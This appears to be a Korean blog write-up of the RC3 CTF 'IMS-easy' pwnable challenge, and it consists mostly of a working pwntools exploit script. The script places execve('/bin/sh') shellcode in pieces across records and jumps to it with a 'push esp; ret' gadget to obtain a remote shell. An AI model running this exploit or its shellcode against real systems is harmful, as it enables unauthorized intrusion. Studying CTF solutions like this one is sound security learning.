반응형

RC3 CTF에서 낸 문제다.


static compiled 바이너리가 주어지고 풀어주면 되는데,




다시 풀어봤는데..


쉘코드가 문제였던거 같다. 



from pwn import *
import time

#con = process("IMS-easy")
#ims.ctf.rc3.club 7777
con = remote("ims.ctf.rc3.club", 7777)

#0x080bfb66 : push esp , ret
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

payload = ""

for i in range(7):
	print con.recvuntil("Choose: ")
	con.sendline("1")
	print con.recvuntil("ID: ")
	con.sendline("135002982")	# push esp, ret
	print con.recvuntil("code: ")
	con.sendline(p64(0x080bfb66080bfb66))	# dummy
	con.recvline()
	con.recvline()

print con.recvuntil("Choose: ")
con.sendline("1")
print con.recvuntil("ID: ")
con.sendline(str(u32(shellcode[8:12])))
print con.recvuntil("code: ")
con.sendline(shellcode[0:8])
con.recvline()
con.recvline()

print con.recvuntil("Choose: ")
con.sendline("1")
print con.recvuntil("ID: ")
con.sendline(str(u32(shellcode[20:24])))
print con.recvuntil("code: ")
con.sendline(shellcode[12:20])
con.recvline()
con.recvline()

print con.recvuntil("Choose: ")
con.sendline("1")
print con.recvuntil("ID: ")
con.sendline(str(0))
print con.recvuntil("code: ")
con.sendline("\x80\x90\x90\x90\x90\x90\x90\x90")
con.recvline()
con.recvline()

print con.recvuntil("Choose: ")
con.sendline("4")

payload += "4\n"

time.sleep(1)

con.interactive()
	
con.close()

'Write up > CTF' 카테고리의 다른 글

[RCTF 2017] RCalc  (0) 2017.05.22
[Codegate2017 Pre] EasyCrack101  (0) 2017.02.11
[Codegate2017 Pre] BabyMISC  (0) 2017.02.11
[Codegate2017 Pre] BabyPwn  (0) 2017.02.11
[CSAW_2014] Xorcise(Pwnable500)  (0) 2016.07.30
블로그 이미지

KuroNeko_

KuroNeko

,